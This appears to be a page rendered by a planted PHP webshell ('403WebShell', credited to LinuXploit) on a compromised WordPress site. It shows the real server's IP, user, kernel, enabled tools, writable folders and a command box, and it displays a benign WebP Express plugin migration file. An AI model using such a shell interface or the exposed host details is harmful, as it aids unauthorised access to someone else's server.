Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tuempresavirtual.cl/public_html/wp-content/plugins/webp-express/lib/migrate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tuempresavirtual.cl/public_html/wp-content/plugins/webp-express/lib/migrate/migrate10.php
<?php

namespace WebPExpress;

use \WebPExpress\Config;
use \WebPExpress\Messenger;

function webpexpress_migrate10() {

    $config = Config::loadConfigAndFix(false);  // false, because we do not need to test if quality detection is working

    $converters = &$config['converters'];
    if (is_array($converters)) {

        // Change specific converter options
        foreach ($converters as &$converter) {
            if (!isset($converter['converter'])) {
                continue;
            }
            $options = &$converter['options'];

            switch ($converter['converter']) {
                case 'wpc':
                    if (isset($options['api-version'])) {
                        $options['api-version'] = intval($options['api-version']);
                    } else {
                        $options['api-version'] = 1;
                    }
                    break;
                case 'cwebp':
                    if (isset($options['method'])) {
                        $options['method'] = intval($options['method']);
                    } else {
                        $options['method'] = 6;
                    }
                    if (isset($options['size-in-percentage'])) {
                        $options['size-in-percentage'] = intval($options['size-in-percentage']);
                    }
                    break;
            }
        }
    }


    // Save both configs.
    // The reason we do it is that we need to update wod-options.json, so the scripts can access the newly available
    // "enable-redirection-to-converter" and "enable-redirection-to-webp-realizer" options

    $forceHtaccessRegeneration = false;
    $result = Config::saveConfigurationAndHTAccess($config, $forceHtaccessRegeneration);

    if ($result['saved-both-config']) {
        Messenger::addMessage(
            'info',
            'Successfully migrated <i>WebP Express</i> options for 0.14.9.'
        );
        Option::updateOption('webp-express-migration-version', '10');

    } else {
        Messenger::addMessage(
            'error',
            'Failed migrating webp express options to 0.14.9. Probably you need to grant write permissions in your wp-content folder.'
        );
    }

}

webpexpress_migrate10();

Youez - 2016 - github.com/yon3zu
LinuXploit